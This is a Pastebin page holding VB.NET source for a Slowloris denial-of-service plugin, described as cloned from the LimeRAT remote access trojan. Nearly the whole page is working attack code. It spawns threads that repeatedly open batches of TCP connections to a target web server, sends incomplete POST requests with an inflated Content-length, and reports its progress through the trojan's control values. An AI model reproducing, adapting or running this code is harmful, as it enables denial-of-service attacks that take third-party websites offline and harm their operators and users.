betrayed

[VB.NET] Slowloris plugin [LimeRAT]

Jun 10th, 2021
739
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Text
  2. Imports System.Threading
  3. Imports System.Net.Sockets
  4. Imports System.Net
  5. 'credit KFC
  6.  
  7. 'Clone from - github.com/NYAN-x-CAT/Lime-RAT/blob/master/Project/Plugins/DDOS/Slowloris.vb
  8. Module Slowloris
  9.  
  10.     Private ThreadsEnded = 0
  11.     Private PostDATA As String
  12.     Private HostToAttack As String
  13.     Private TimetoAttack As Integer
  14.     Private ThreadstoUse As Integer
  15.     Private Threads As Thread()
  16.     Private AttackRunning As Boolean = False
  17.     Private attacks As Integer = 0
  18.  
  19.     Public Sub StartSlowloris(ByVal Host As String, ByVal Threadsto As Integer, ByVal Time As Integer, ByVal data As String)
  20.         If Not AttackRunning = True Then
  21.             AttackRunning = True
  22.             HostToAttack = Host
  23.             PostDATA = data
  24.             ThreadstoUse = Threadsto
  25.             TimetoAttack = Time * 60
  26.  
  27.             If HostToAttack.Contains("http://") Then HostToAttack = HostToAttack.Replace("http://", String.Empty)
  28.             If HostToAttack.Contains("www.") Then HostToAttack = HostToAttack.Replace("www.", String.Empty)
  29.             If HostToAttack.Contains("/") Then HostToAttack = HostToAttack.Replace("/", String.Empty)
  30.  
  31.  
  32.             Threads = New Thread(Threadsto - 1) {}
  33.             STV("Flood", "Slowloris Attack on " & HostToAttack & " started!")
  34.  
  35.             For i As Integer = 0 To Threadsto - 1
  36.                 Threads(i) = New Thread(AddressOf DoWork)
  37.                 Threads(i).IsBackground = True
  38.                 Threads(i).Start()
  39.             Next
  40.  
  41.             Dim Stoped As New Threading.Thread(AddressOf StopSlowloris)
  42.             Stoped.Start()
  43.  
  44.         Else
  45.             STV("Flood", "A Slowloris Attack is Already Running on " & HostToAttack)
  46.         End If
  47.  
  48.     End Sub
  49.     Private Sub lol()
  50.         ThreadsEnded = ThreadsEnded + 1
  51.         If ThreadsEnded = ThreadstoUse Then
  52.             ThreadsEnded = 0
  53.             ThreadstoUse = 0
  54.             AttackRunning = False
  55.             STV("Flood", "Slowloris Attack on " & HostToAttack & " finished successfully. Attacks Sent: " & attacks.ToString)
  56.             attacks = 0
  57.             STV("Flood|STOP", "True")
  58.         End If
  59.  
  60.     End Sub
  61.  
  62.     Private Sub StopSlowloris()
  63. 1:
  64.         If GTV("Flood|STOP") = "False" Then
  65.             Thread.Sleep(1000)
  66.             GoTo 1
  67.         End If
  68.  
  69.         If AttackRunning = True Then
  70.             For i As Integer = 0 To ThreadstoUse - 1
  71.                 Try
  72.                     Threads(i).Abort()
  73.                 Catch
  74.                 End Try
  75.             Next
  76.             AttackRunning = False
  77.             STV("Flood", "Slowloris Attack on " & HostToAttack & " aborted successfully. Attacks Sent: " & attacks.ToString)
  78.             attacks = 0
  79.         Else
  80.             STV("Flood", "No Slowloris Attack is Running!")
  81.         End If
  82.     End Sub
  83.  
  84.     Private Sub DoWork()
  85.         Try
  86.             Dim socketArray As Socket() = New Socket(100 - 1) {}
  87.             Dim span As TimeSpan = TimeSpan.FromSeconds(CDbl(TimetoAttack))
  88.             Dim stopwatch As Stopwatch = Stopwatch.StartNew
  89.             Do While (stopwatch.Elapsed < span)
  90.                 Try
  91.                     Dim i As Integer
  92.                     Dim Http As New WebClient()
  93.                     For i = 0 To 100 - 1
  94.                         socketArray(i) = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
  95.                         socketArray(i).Connect(Dns.GetHostAddresses(HostToAttack), 80)
  96.                         socketArray(i).Send(ASCIIEncoding.Default.GetBytes("POST / HTTP/1.1" & ChrW(13) & ChrW(10) & "Host: " & HostToAttack.ToString() & ChrW(13) & ChrW(10) & "Content-length: 5235" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10)), SocketFlags.None)
  97.                         attacks = attacks + 1
  98.                     Next i
  99.                     Dim j As Integer
  100.                     For j = 0 To 100 - 1
  101.                         socketArray(j).Close()
  102.                     Next j
  103.                     Continue Do
  104.                 Catch
  105.  
  106.                     Continue Do
  107.                 End Try
  108.             Loop
  109.         Catch : End Try
  110.         lol()
  111.     End Sub
  112.  
  113. End Module
RAW Paste Data